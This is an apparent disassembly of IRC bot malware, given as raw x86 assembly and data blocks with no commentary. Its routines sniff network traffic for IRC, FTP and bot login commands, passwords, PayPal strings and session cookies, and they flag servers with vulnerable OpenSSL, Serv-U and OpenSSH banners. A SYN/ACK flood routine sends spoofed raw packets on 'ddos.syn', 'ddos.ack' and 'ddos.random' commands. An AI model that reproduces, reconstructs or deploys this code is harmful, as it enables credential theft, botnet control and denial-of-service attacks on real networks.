4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 0BB004Ch, 6A000002h, 0A9E89008h, 0FF0225E2h, 4CAEF815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434E84h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h dd 22BE02Ch db 90h byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h, 234C0h dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0DED2E856h dd 5690022Bh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EB0h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDCE0, eax mov eax, offset dword_4CDCE0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAF88 lea eax, [ebp+var_3B8] push eax call dword_4CAFF8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AC8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF20 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435A98 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAF8C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A64 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A30 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359FC jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359C4 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43598C jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 70E80000h, 900226DEh dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 2BD4FBE8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAF74 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAF74 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAF74 push 12345678h mov [ebp+var_14], ax call dword_4CAF70 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAF74 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 2780353h nop lea eax, [ebp+var_1C] push eax nop call near ptr 2780000h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2780000h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435B1C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB00C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAECC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call 